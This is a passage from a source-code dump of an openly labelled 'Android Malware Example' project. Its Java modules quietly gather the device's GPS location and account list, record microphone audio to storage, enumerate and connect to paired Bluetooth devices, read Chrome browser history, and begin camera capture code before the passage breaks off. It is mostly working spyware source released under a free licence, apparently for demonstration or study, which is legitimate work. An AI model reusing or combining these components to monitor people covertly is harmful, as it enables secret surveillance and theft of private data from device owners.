| // The minimum time between updates in milliseconds 50 | private static final long MIN_TIME_BW_UPDATES = 10000; // 1 second 51 | 52 | public GPSLocation(Context _context) { 53 | context = _context; 54 | configParams = new ConfigParams(context); 55 | locationManager = (LocationManager) context 56 | .getSystemService(Context.LOCATION_SERVICE); 57 | isGPSEnabled = locationManager 58 | .isProviderEnabled(LocationManager.GPS_PROVIDER); 59 | isNetworkEnabled = locationManager 60 | .isProviderEnabled(LocationManager.NETWORK_PROVIDER); 61 | 62 | } 63 | public class LatLon { 64 | public double lat; 65 | public double lon; 66 | } 67 | public LatLon getLocation() { 68 | 69 | 70 | 71 | try { 72 | 73 | // getting GPS status 74 | isGPSEnabled = locationManager 75 | .isProviderEnabled(LocationManager.GPS_PROVIDER); 76 | 77 | // getting network status 78 | isNetworkEnabled = locationManager 79 | .isProviderEnabled(LocationManager.NETWORK_PROVIDER); 80 | isNetworkEnabled=false; 81 | if (!isGPSEnabled && !isNetworkEnabled) { 82 | // no network provider is enabled 83 | } else { 84 | this.canGetLocation = true; 85 | if (isGPSEnabled) { 86 | 87 | try { 88 | if (location == null) { 89 | 90 | locationManager.requestLocationUpdates( 91 | LocationManager.GPS_PROVIDER, 92 | MIN_TIME_BW_UPDATES, 93 | MIN_DISTANCE_CHANGE_FOR_UPDATES, this); 94 | Log.d("GPS Enabled", "GPS Enabled"); 95 | if (locationManager != null) { 96 | location = locationManager 97 | .getLastKnownLocation(LocationManager.GPS_PROVIDER); 98 | if (location != null) { 99 | latlon.lat = location.getLatitude(); 100 | latlon.lon = location.getLongitude(); 101 | } 102 | } 103 | } 104 | } catch (SecurityException sec){ 105 | 106 | Log.d(configParams.PROGID, "Unable to get GPS Location"); 107 | } 108 | 109 | 110 | }else if (isNetworkEnabled) { 111 | 112 | try { 113 | 114 | 115 | locationManager.requestLocationUpdates( 116 | LocationManager.NETWORK_PROVIDER, 117 | MIN_TIME_BW_UPDATES, 118 | MIN_DISTANCE_CHANGE_FOR_UPDATES, this); 119 | Log.d("Network", "Network"); 120 | if (locationManager != null) { 121 | location = locationManager 122 | .getLastKnownLocation(LocationManager.NETWORK_PROVIDER); 123 | if (location != null) { 124 | LatLon _latlon = new LatLon(); 125 | 126 | _latlon.lat = location.getLatitude(); 127 | _latlon.lon = location.getLongitude(); 128 | Log.d("BGMonitor_GPSLocation", "Network Location[Lat=" + _latlon.lat + "] [Lon=" + _latlon.lon + "]"); 129 | 130 | } 131 | } 132 | } catch (SecurityException sec){ 133 | 134 | Log.d(configParams.PROGID,"Unable to get network location"); 135 | } 136 | } 137 | // if GPS Enabled get lat/long using GPS Services 138 | } 139 | 140 | } catch (Exception e) { 141 | e.printStackTrace(); 142 | } 143 | return latlon; 144 | } 145 | 146 | public void stopUsingGPS() { 147 | if (locationManager != null) { 148 | try { 149 | locationManager.removeUpdates(GPSLocation.this); 150 | }catch (SecurityException sec){ 151 | 152 | } 153 | } 154 | } 155 | 156 | /** 157 | * Function to get latitude 158 | * */ 159 | public double getLatitude() { 160 | if (location != null) { 161 | latlon.lat = location.getLatitude(); 162 | } 163 | 164 | // return latitude 165 | return latlon.lat; 166 | } 167 | 168 | /** 169 | * Function to get longitude 170 | * */ 171 | public double getLongitude() { 172 | if (location != null) { 173 | latlon.lon = location.getLongitude(); 174 | } 175 | 176 | // return longitude 177 | return latlon.lon; 178 | } 179 | 180 | @Override 181 | public void onLocationChanged(Location location) { 182 | // Log.d("BGMonitor_GPSLocation", "onLocationChanged[Lat="+latitude+"] [Lon="+longitude+"]"); 183 | // WritePhoneInfo _wpi = new WritePhoneInfo(); 184 | // _wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum); 185 | stopUsingGPS(); 186 | } 187 | 188 | @Override 189 | public void onProviderDisabled(String provider) { 190 | } 191 | 192 | @Override 193 | public void onProviderEnabled(String provider) { 194 | } 195 | 196 | 197 | 198 | 199 | @Override 200 | public void onStatusChanged(String arg0, int arg1, Bundle arg2) { 201 | // TODO Auto-generated method stub 202 | // Log.d("BGMonitor_GPSLocation", "onStatusChanged"); 203 | // WritePhoneInfo _wpi = new WritePhoneInfo(); 204 | // _wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum); 205 | // stopUsingGPS(); 206 | } 207 | 208 | } -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetAccounts.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.accounts.Account; 24 | import android.accounts.AccountManager; 25 | import android.content.Context; 26 | import android.util.Log; 27 | 28 | import java.util.ArrayList; 29 | import java.util.List; 30 | 31 | /** 32 | * Created by darrylb on 10/2/16. 33 | */ 34 | public class GetAccounts { 35 | 36 | Context context; 37 | ConfigParams configParams; 38 | List accounts; 39 | public class AccountInfo { 40 | public String Name; 41 | public String Type; 42 | public AccountInfo(String name, String type){ 43 | Name = name; 44 | Type = type; 45 | } 46 | } 47 | public GetAccounts( Context _context){ 48 | context = _context; 49 | configParams = new ConfigParams(context); 50 | accounts = new ArrayList(); 51 | } 52 | 53 | public List getAccounts(){ 54 | AccountManager am = AccountManager.get(context); 55 | Account[] _accounts = am.getAccounts(); 56 | 57 | for (Account ac : _accounts) { 58 | AccountInfo _account = new AccountInfo(ac.name,ac.type); 59 | accounts.add(_account); 60 | // Take your time to look at all available accounts 61 | if (configParams.Logging) Log.d (configParams.PROGID,"Accounts : " + _account.Name + ", " + _account.Type); 62 | } 63 | return accounts; 64 | } 65 | 66 | 67 | 68 | } 69 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetAudio.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.media.MediaRecorder; 25 | import android.os.Environment; 26 | import android.util.Log; 27 | 28 | import java.io.File; 29 | 30 | /** 31 | * Created by darrylb on 10/2/16. 32 | */ 33 | public class GetAudio { 34 | Context context; 35 | ConfigParams configParams; 36 | MediaRecorder myAudioRecorder; 37 | 38 | public GetAudio(Context _context) { 39 | context = _context; 40 | configParams = new ConfigParams(context); 41 | 42 | } 43 | public void RecordAudio (int seconds, String file){ 44 | 45 | File fpath = configParams.StoragePath; 46 | Log.d(configParams.PROGID,"Recording Audio to:"+fpath+"/"+file); 47 | 48 | try { 49 | 50 | 51 | myAudioRecorder = new MediaRecorder(); 52 | myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); 53 | myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); 54 | myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB); 55 | myAudioRecorder.setOutputFile(fpath + "/" + file); 56 | myAudioRecorder.prepare(); 57 | if (configParams.Logging) Log.d(configParams.PROGID,"GetAudio: recording started"); 58 | myAudioRecorder.start(); 59 | 60 | Thread.sleep(seconds*1000); 61 | 62 | myAudioRecorder.stop(); 63 | if (configParams.Logging)Log.d(configParams.PROGID,"GetAudio: recording finished"); 64 | myAudioRecorder.release(); 65 | myAudioRecorder = null; 66 | } catch (Exception ex){ 67 | if (configParams.Logging) Log.d(configParams.PROGID,"GetAudio: record error:"+ex.toString()); 68 | } 69 | 70 | } 71 | public File getRecordingFile(String file){ 72 | 73 | File fpath = Environment.getExternalStorageDirectory(); 74 | File recording = new File(fpath+"/"+file); 75 | return recording; 76 | 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetBlueToothInfo.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.accounts.Account; 24 | import android.bluetooth.BluetoothAdapter; 25 | import android.bluetooth.BluetoothClass; 26 | import android.bluetooth.BluetoothDevice; 27 | import android.bluetooth.BluetoothGatt; 28 | import android.bluetooth.BluetoothGattCallback; 29 | import android.bluetooth.BluetoothGattCharacteristic; 30 | import android.bluetooth.BluetoothGattDescriptor; 31 | import android.bluetooth.BluetoothGattService; 32 | import android.bluetooth.BluetoothManager; 33 | import android.bluetooth.BluetoothProfile; 34 | import android.bluetooth.le.BluetoothLeScanner; 35 | import android.bluetooth.le.ScanCallback; 36 | import android.content.Context; 37 | import android.content.Intent; 38 | import android.net.wifi.ScanResult; 39 | import android.os.Binder; 40 | import android.os.IBinder; 41 | import android.os.ParcelUuid; 42 | import android.util.Log; 43 | 44 | import java.util.ArrayList; 45 | import java.util.HashMap; 46 | import java.util.List; 47 | import java.util.Set; 48 | import java.util.UUID; 49 | 50 | /** 51 | * Created by darrylb on 10/5/16. 52 | */ 53 | public class GetBlueToothInfo { 54 | 55 | Context context; 56 | ConfigParams configParams; 57 | BluetoothAdapter mBluetoothAdapter; 58 | List blueToothDevices; 59 | String TAG=""; 60 | 61 | 62 | public GetBlueToothInfo(Context _context) { 63 | context = _context; 64 | configParams = new ConfigParams(context); 65 | blueToothDevices = new ArrayList(); 66 | mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); 67 | TAG = configParams.PROGID; 68 | } 69 | 70 | 71 | public class BlueToothDevice { 72 | public String Name; 73 | public String Address; 74 | public String Type; 75 | public int BondState; 76 | public BluetoothClass Class; 77 | public String ClassString; 78 | public ParcelUuid[] UUIDs; 79 | public String Device; 80 | 81 | } 82 | 83 | public String getBlueToothState() { 84 | return (CheckBlueToothState()); 85 | } 86 | 87 | public List getBlueToothInfo() { 88 | 89 | Set pairedDevices = mBluetoothAdapter.getBondedDevices(); 90 | if (pairedDevices.size() > 0) { 91 | for (BluetoothDevice device : pairedDevices) { 92 | BlueToothDevice _device = new BlueToothDevice(); 93 | _device.Name = device.getName(); 94 | _device.Address = device.getAddress(); 95 | int _devicetype = device.getType(); 96 | 97 | if (_devicetype == device.DEVICE_TYPE_CLASSIC) 98 | _device.Type = "Classic - BR/EDR devices"; 99 | else if (_devicetype == device.DEVICE_TYPE_DUAL) 100 | _device.Type = "Dual Mode - BR/EDR/LE"; 101 | else if (_devicetype == device.DEVICE_TYPE_LE) 102 | _device.Type = "Low Energy - LE-only"; 103 | else if (_devicetype == device.DEVICE_TYPE_UNKNOWN) _device.Type = "Unknown"; 104 | 105 | 106 | _device.BondState = device.getBondState(); 107 | _device.Class = device.getBluetoothClass(); 108 | _device.ClassString = _device.Class.toString(); 109 | _device.UUIDs = device.getUuids(); 110 | _device.Device = device.toString(); 111 | 112 | blueToothDevices.add(_device); 113 | String msg = "Bluetooth Device: " + _device.Name + "\n\t Addr: [" + _device.Address + "] \n\t Type:[" 114 | + _device.Type + "]\n\tBondState:[" + _device.BondState + "]\n\tClass:[" 115 | + _device.ClassString + "]\n\tUUIDS:\n"; 116 | if (_device.UUIDs != null) for (ParcelUuid uuid : _device.UUIDs) { 117 | msg += "\t\t" + uuid.toString() + "\n"; 118 | } 119 | 120 | msg += "\tDevice:[" + _device.Device + "]"; 121 | 122 | if (configParams.Logging) Log.d(configParams.PROGID, msg); 123 | 124 | } 125 | } 126 | return blueToothDevices; 127 | // 128 | } 129 | 130 | private String CheckBlueToothState() { 131 | String State = "Unknown"; 132 | if (mBluetoothAdapter == null) { 133 | State = "Bluetooth NOT support"; 134 | } else { 135 | if (mBluetoothAdapter.isEnabled()) { 136 | if (mBluetoothAdapter.isDiscovering()) { 137 | State = "Bluetooth is currently in device discovery process."; 138 | } else { 139 | State = "Bluetooth is Enabled."; 140 | } 141 | } else { 142 | State = "Bluetooth is NOT Enabled!"; 143 | } 144 | } 145 | if (configParams.Logging) Log.d(configParams.PROGID, "Bluetooth State:[" + State + "]"); 146 | return State; 147 | } 148 | 149 | 150 | private BluetoothManager mBluetoothManager; 151 | 152 | private String mBluetoothDeviceAddress; 153 | private BluetoothGatt mBluetoothGatt; 154 | 155 | 156 | private int STATE_DISCONNECTED = 0; 157 | private int STATE_CONNECTING = 1; 158 | private int STATE_CONNECTED = 2; 159 | 160 | private int mConnectionState = STATE_DISCONNECTED; 161 | 162 | public String ACTION_GATT_CONNECTED = 163 | "com.example.bluetooth.le.ACTION_GATT_CONNECTED"; 164 | public String ACTION_GATT_DISCONNECTED = 165 | "com.example.bluetooth.le.ACTION_GATT_DISCONNECTED"; 166 | public String ACTION_GATT_SERVICES_DISCOVERED = 167 | "com.example.bluetooth.le.ACTION_GATT_SERVICES_DISCOVERED"; 168 | public String ACTION_DATA_AVAILABLE = 169 | "com.example.bluetooth.le.ACTION_DATA_AVAILABLE"; 170 | public String EXTRA_DATA = 171 | "com.example.bluetooth.le.EXTRA_DATA"; 172 | 173 | public UUID UUID_HEART_RATE_MEASUREMENT = 174 | UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT); 175 | 176 | // Implements callback methods for GATT events that the app cares about. For example, 177 | // connection change and services discovered. 178 | 179 | 180 | private final BluetoothGattCallback mGattCallback = new BluetoothGattCallback() { 181 | @Override 182 | public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) { 183 | String intentAction; 184 | Log.i(TAG, "GattCallBackNewState:"+newState+":"+gatt.getDevice().getName()); 185 | if (newState == BluetoothProfile.STATE_CONNECTED) { 186 | intentAction = ACTION_GATT_CONNECTED; 187 | mConnectionState = STATE_CONNECTED; 188 | broadcastUpdate(intentAction); 189 | Log.i(TAG, "Connected to GATT server."); 190 | // Attempts to discover services after successful connection. 191 | Log.i(TAG, "Attempting to start service discovery:" + 192 | mBluetoothGatt.discoverServices()); 193 | 194 | } else if (newState == BluetoothProfile.STATE_DISCONNECTED) { 195 | intentAction = ACTION_GATT_DISCONNECTED; 196 | mConnectionState = STATE_DISCONNECTED; 197 | Log.i(TAG, ".Disconnected from GATT server."); 198 | broadcastUpdate(intentAction); 199 | } 200 | } 201 | 202 | 203 | 204 | 205 | @Override 206 | public void onServicesDiscovered(BluetoothGatt gatt, int status) { 207 | Log.d(configParams.PROGID,"GaTT ________________________________________________________________________________________"); 208 | if (status == BluetoothGatt.GATT_SUCCESS) { 209 | Log.d(configParams.PROGID,"GaTT Service Success"); 210 | 211 | broadcastUpdate(ACTION_GATT_SERVICES_DISCOVERED); 212 | } else { 213 | Log.w(TAG, "onServicesDiscovered received: " + status); 214 | } 215 | } 216 | 217 | @Override 218 | public void onCharacteristicRead(BluetoothGatt gatt, 219 | BluetoothGattCharacteristic characteristic, 220 | int status) { 221 | if (status == BluetoothGatt.GATT_SUCCESS) { 222 | broadcastUpdate(ACTION_DATA_AVAILABLE, characteristic); 223 | } 224 | } 225 | 226 | @Override 227 | public void onCharacteristicChanged(BluetoothGatt gatt, 228 | BluetoothGattCharacteristic characteristic) { 229 | broadcastUpdate(ACTION_DATA_AVAILABLE, characteristic); 230 | } 231 | }; 232 | 233 | private void broadcastUpdate(final String action) { 234 | final Intent intent = new Intent(action); 235 | context.sendBroadcast(intent); 236 | } 237 | 238 | private void broadcastUpdate(final String action, 239 | final BluetoothGattCharacteristic characteristic) { 240 | final Intent intent = new Intent(action); 241 | 242 | // This is special handling for the Heart Rate Measurement profile. Data parsing is 243 | // carried out as per profile specifications: 244 | // http://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.heart_rate_measurement.xml 245 | 246 | // For all other profiles, writes the data formatted in HEX. 247 | final byte[] data = characteristic.getValue(); 248 | Log.d(configParams.PROGID,"Device Char:"+characteristic.toString()); 249 | if (data != null && data.length > 0) { 250 | final StringBuilder stringBuilder = new StringBuilder(data.length); 251 | for (byte byteChar : data) 252 | stringBuilder.append(String.format("%02X ", byteChar)); 253 | intent.putExtra(EXTRA_DATA, new String(data) + "\n" + stringBuilder.toString()); 254 | 255 | Log.d(configParams.PROGID,"Device More:"+stringBuilder.toString()); 256 | 257 | 258 | } 259 | 260 | context.sendBroadcast(intent); 261 | } 262 | 263 | // public class LocalBinder extends Binder { 264 | // context.BluetoothLeService getService() { 265 | // return BluetoothLeService.this; 266 | // } 267 | // } 268 | 269 | 270 | /** 271 | * Initializes a reference to the local Bluetooth adapter. 272 | * 273 | * @return Return true if the initialization is successful. 274 | */ 275 | public boolean initialize() { 276 | // For API level 18 and above, get a reference to BluetoothAdapter through 277 | // BluetoothManager. 278 | if (mBluetoothManager == null) { 279 | mBluetoothManager = (BluetoothManager) context.getSystemService(Context.BLUETOOTH_SERVICE); 280 | if (mBluetoothManager == null) { 281 | Log.e(TAG, "Unable to initialize BluetoothManager."); 282 | return false; 283 | } 284 | } 285 | 286 | mBluetoothAdapter = mBluetoothManager.getAdapter(); 287 | if (mBluetoothAdapter == null) { 288 | Log.e(TAG, "Unable to obtain a BluetoothAdapter."); 289 | return false; 290 | } 291 | 292 | return true; 293 | } 294 | 295 | /** 296 | * Connects to the GATT server hosted on the Bluetooth LE device. 297 | * 298 | * @param address The device address of the destination device. 299 | * @return Return true if the connection is initiated successfully. The connection result 300 | * is reported asynchronously through the 301 | * {@code BluetoothGattCallback#onConnectionStateChange(android.bluetooth.BluetoothGatt, int, int)} 302 | * callback. 303 | */ 304 | public boolean connect(final String address) { 305 | if (mBluetoothAdapter == null || address == null) { 306 | Log.w(TAG, "BluetoothAdapter not initialized or unspecified address."); 307 | return false; 308 | } 309 | 310 | // Previously connected device. Try to reconnect. 311 | if (mBluetoothDeviceAddress != null && address.equals(mBluetoothDeviceAddress) 312 | && mBluetoothGatt != null) { 313 | Log.d(TAG, "Trying to use an existing mBluetoothGatt for connection."); 314 | if (mBluetoothGatt.connect()) { 315 | mConnectionState = STATE_CONNECTING; 316 | return true; 317 | } else { 318 | return false; 319 | } 320 | } 321 | 322 | final BluetoothDevice device = mBluetoothAdapter.getRemoteDevice(address); 323 | if (device == null) { 324 | Log.w(TAG, "Device not found. Unable to connect."); 325 | return false; 326 | } 327 | // We want to directly connect to the device, so we are setting the autoConnect 328 | // parameter to false. 329 | mBluetoothGatt = device.connectGatt(context, true, mGattCallback); 330 | Log.d(TAG, "Trying to create a new connection."); 331 | mBluetoothDeviceAddress = address; 332 | mConnectionState = STATE_CONNECTING; 333 | return true; 334 | } 335 | 336 | /** 337 | * Disconnects an existing connection or cancel a pending connection. The disconnection result 338 | * is reported asynchronously through the 339 | * {@code BluetoothGattCallback#onConnectionStateChange(android.bluetooth.BluetoothGatt, int, int)} 340 | * callback. 341 | */ 342 | public void disconnect() { 343 | if (mBluetoothAdapter == null || mBluetoothGatt == null) { 344 | Log.w(TAG, "BluetoothAdapter not initialized"); 345 | return; 346 | } 347 | mBluetoothGatt.disconnect(); 348 | close(); 349 | } 350 | 351 | /** 352 | * After using a given BLE device, the app must call this method to ensure resources are 353 | * released properly. 354 | */ 355 | public void close() { 356 | if (mBluetoothGatt == null) { 357 | return; 358 | } 359 | mBluetoothGatt.close(); 360 | mBluetoothGatt = null; 361 | } 362 | 363 | /** 364 | * Request a read on a given {@code BluetoothGattCharacteristic}. The read result is reported 365 | * asynchronously through the {@code BluetoothGattCallback#onCharacteristicRead(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattCharacteristic, int)} 366 | * callback. 367 | * 368 | * @param characteristic The characteristic to read from. 369 | */ 370 | public void readCharacteristic(BluetoothGattCharacteristic characteristic) { 371 | if (mBluetoothAdapter == null || mBluetoothGatt == null) { 372 | Log.w(TAG, "BluetoothAdapter not initialized"); 373 | return; 374 | } 375 | mBluetoothGatt.readCharacteristic(characteristic); 376 | } 377 | 378 | /** 379 | * Enables or disables notification on a give characteristic. 380 | * 381 | * @param characteristic Characteristic to act on. 382 | * @param enabled If true, enable notification. False otherwise. 383 | */ 384 | public void setCharacteristicNotification(BluetoothGattCharacteristic characteristic, 385 | boolean enabled) { 386 | if (mBluetoothAdapter == null || mBluetoothGatt == null) { 387 | Log.w(TAG, "BluetoothAdapter not initialized"); 388 | return; 389 | } 390 | mBluetoothGatt.setCharacteristicNotification(characteristic, enabled); 391 | 392 | // This is specific to Heart Rate Measurement. 393 | if (UUID_HEART_RATE_MEASUREMENT.equals(characteristic.getUuid())) { 394 | BluetoothGattDescriptor descriptor = characteristic.getDescriptor( 395 | UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG)); 396 | descriptor.setValue(BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE); 397 | mBluetoothGatt.writeDescriptor(descriptor); 398 | } 399 | } 400 | 401 | /** 402 | * Retrieves a list of supported GATT services on the connected device. This should be 403 | * invoked only after {@code BluetoothGatt#discoverServices()} completes successfully. 404 | * 405 | * @return A {@code List} of supported services. 406 | */ 407 | public List getSupportedGattServices() { 408 | if (mBluetoothGatt == null) return null; 409 | 410 | return mBluetoothGatt.getServices(); 411 | } 412 | 413 | 414 | 415 | } 416 | 417 | 418 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetBrowserHistory.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.database.Cursor; 25 | import android.net.Uri; 26 | import android.provider.Browser; 27 | import android.util.Log; 28 | 29 | import java.text.SimpleDateFormat; 30 | import java.util.Date; 31 | 32 | /** 33 | * Created by darrylb on 10/3/16. 34 | */ 35 | public class GetBrowserHistory { 36 | 37 | 38 | Context context; 39 | ConfigParams configParams; 40 | 41 | 42 | public GetBrowserHistory(Context _context){ 43 | context = _context; 44 | configParams = new ConfigParams(context); 45 | } 46 | public void BrowserHistory(String filename) { 47 | 48 | 49 | 50 | Cursor cursor = context.getContentResolver().query(Uri.parse("content://com.android.chrome.browser/history"), null, null, null, null); 51 | 52 | if (cursor.moveToFirst()) { // must check the result to prevent exception 53 | do { 54 | Log.d(configParams.PROGID,"CURSOR:"); 55 | String msgData = ""; 56 | 57 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) { 58 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx); 59 | 60 | } 61 | Log.d(configParams.PROGID,"Cols:"+msgData); 62 | // 63 | 64 | 65 | // 66 | // 67 | // SMSInfo _sms = new SMSInfo(); 68 | // _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id")); 69 | // _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address")); 70 | // _sms.readState = cursor.getString(cursor.getColumnIndex("read")); 71 | // String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4))); 72 | // 73 | // // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date")); 74 | // _sms.datestamp = dateString; 75 | // if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) { 76 | // _sms.folder ="inbox"; 77 | // } else { 78 | // _sms.folder ="sent"; 79 | // } 80 | // _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body")); 81 | // smsInfo.add(_sms); 82 | // 83 | // 84 | // // use msgData 85 | } while (cursor.moveToNext()); 86 | } else { 87 | // empty box, no SMS 88 | } 89 | 90 | 91 | 92 | 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetCamera.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.Manifest; 24 | import android.app.Activity; 25 | import android.content.Context; 26 | import android.content.pm.PackageManager; 27 | import android.graphics.ImageFormat; 28 | import android.graphics.SurfaceTexture; 29 | import android.hardware.Camera; 30 | import android.hardware.camera2.CameraAccessException; 31 | import android.hardware.camera2.CameraCaptureSession; 32 | import android.hardware.camera2.CameraCharacteristics; 33 | import android.hardware.camera2.CameraDevice; 34 | import android.hardware.camera2.CameraManager; 35 | import android.hardware.camera2.CameraMetadata; 36 | import android.hardware.camera2.CaptureRequest; 37 | import android.hardware.camera2.TotalCaptureResult; 38 | import android.hardware.camera2.params.StreamConfigurationMap; 39 | import android.media.Image; 40 | import android.media.ImageReader; 41 | import android.os.Environment; 42 | import android.os.Handler; 43 | import android.os.HandlerThread; 44 | import android.support.annotation.NonNull; 45 | import android.support.v4.app.ActivityCompat; 46 | import android.util.Log; 47 | import android.util.Size; 48 | import android.util.SparseIntArray; 49 | import android.view.Surface; 50 | import android.view.SurfaceHolder; 51 | import android.view.TextureView; 52 | import android.widget.Toast; 53 | 54 | import java.io.File; 55 | import java.io.FileNotFoundException; 56 | import java.io.FileOutputStream; 57 | import java.io.IOException; 58 | import java.io.OutputStream; 59 | import java.nio.ByteBuffer; 60 | import java.util.ArrayList; 61 | import java.util.Arrays; 62 | import java.util.List; 63 | 64 | /** 65 | * Created by darrylb on 10/3/16. 66 | */ 67 | public class GetCamera { 68 | 69 | 70 | Context context; 71 | ConfigParams configParams; 72 | 73 | private SurfaceHolder sHolder; 74 | 75 | private String cameraId; 76 | protected CameraDevice cameraDevice; 77 | 78 | protected CameraCaptureSession cameraCaptureSessions; 79 | protected CaptureRequest captureRequest; 80 | protected CaptureRequest.Builder captureRequestBuilder; 81 | private Size imageDimension; 82 | private ImageReader imageReader; 83 | private File file; 84 | private static final int REQUEST_CAMERA_PERMISSION = 200; 85 | private boolean mFlashSupported; 86 | private Handler mBackgroundHandler; 87 | private HandlerThread mBackgroundThread; 88 | 89 | private TextureView textureView; 90 | private CameraActivity activity; 91 | 92 | private static final SparseIntArray ORIENTATIONS = new SparseIntArray(); 93 | static { 94 | ORIENTATIONS.append(Surface.ROTATION_0, 90); 95 | ORIENTATIONS.append(Surface.ROTATION_90, 0); 96 | ORIENTATIONS.append(Surface.ROTATION_180, 270); 97 | ORIENTATIONS.append(Surface.ROTATION_270, 180); 98 | } 99 | 100 | 101 | public GetCamera(Context _context){ 102 | // context = _context; 103 | // configParams = new ConfigParams(context); 104 | // 105 | // activity = new CameraActivity(); 106 | // 107 | // activity.setContentView(R.layout.activity_camera); 108 | // textureView = (TextureView) activity.findViewById(R.id.textureView); 109 | 110 | } 111 | 112 | TextureView.SurfaceTextureListener textureListener = new TextureView.SurfaceTextureListener() { 113 | @Override 114 | public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) { 115 | //open your camera here 116 | openCamera(); 117 | } 118 | @Override 119 | public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) { 120 | // Transform you image captured size according to the surface width and height 121 | } 122 | @Override 123 | public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) { 124 | return false; 125 | } 126 | @Override 127 | public void onSurfaceTextureUpdated(SurfaceTexture surface) { 128 | } 129 | }; 130 | private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() { 131 | @Override 132 | public void onOpened(CameraDevice camera) { 133 | //This is 